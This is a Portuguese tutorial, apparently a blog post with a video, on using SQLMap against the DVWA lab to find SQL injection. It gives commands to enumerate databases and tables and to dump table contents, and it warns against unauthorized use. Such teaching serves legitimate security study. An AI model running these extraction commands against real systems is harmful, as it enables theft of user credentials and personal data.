Vídeo
Introdução
Já se perguntou como atacantes utilizam vulnerabilidades para roubar dados?
São muitas as formas mas hoje vamos falar sobre novamente SQL Injection, uma das mais perigosas vulnerabilidades de qualquer serviço. Vamos falar mais especificamente sobre a ferramenta SQLMap uma poderosa arma para expor essas vulnerabilidades em alguns minutos. Github-SqlMap
SQL Injections é um tipo de ataque que permite acesso, manipulação e até mesmo tomar controle do banco de dados.
O Banco de dados é por natureza extremamente sensível, com usuários, senhas, cartões e outras informações sobre os usuários. Então podemos entender a gravidade dessa vulnerabilidade, principalmente quando nós conseguimos extrair e criar informações desses bancos
SQLMap
O SQLMap automatiza todo esse processo para nós, e automaticamente testa diversos tipos de banco de dados e vulnerabilidades. Usar essa ferramenta facilita muito o processo principalmente para vulnerabilidades mais complicadas como Blind SQL Injections.
O SQLMap roda em qualquer sistema com Python e essa é a vantagem da ferramenta.
Além da informação de sempre, que você não deve rodar essas ferramentas sem autorização, o SQLMap é uma ferramenta barulhenta e que causa um impacto grande se utilizado sem cautela. Então até mesmo com autorização, cuidado para não derrubar o serviço ou causar danos irreversíveis.
Execução
Para listar todos os comandos ou o menu de ajuda, utilizamos o comando.
sqlmap -h
Para escanear um serviço, utilizamos o comando, onde o HOST é um IP ou URL de um serviço:
sqlmap -u {HOST}
Um dica é que o SQLMap faz muitas perguntas, se você quer continuar sem precisar ficar respondendo use o –batch, note com atenção que são dois traços agora:
sqlmap -u {HOST} --batch
Para esse tutorial eu vou utilizar o DVWA, e o DVWA assim como muitos serviços requer um Cookie. Para enviar um cookie ao SqlMap é muito simples e utilizamos o seguinte comando:
sqlmap -u {HOST} --batch --cookie="COOKIE=VALOR"
Quando uma vulnerabilidade é encontrada, podemos utilizar alguns comandos para extrair informações.
Para listar todos os bancos vamos usar o comando:
sqlmap -u {HOST} --batch --cookie="COOKIE=VALOR" --dbs
Nós vamos construindo a extração e a cada ponto pegamos a informação do comando anterior para usar no próximo.
Com o banco em mãos utilizamos podemos listar as tabelas:
sqlmap -u {HOST} --batch --cookie="COOKIE=VALOR" -D {BANCO} --tables
E por fim com todas as informações, vamos extrair todos os dados da tabela escolhida:
sqlmap -u {HOST} --batch --cookie="COOKIE=VALOR" -D {BANCO} -T {TABELA} --dump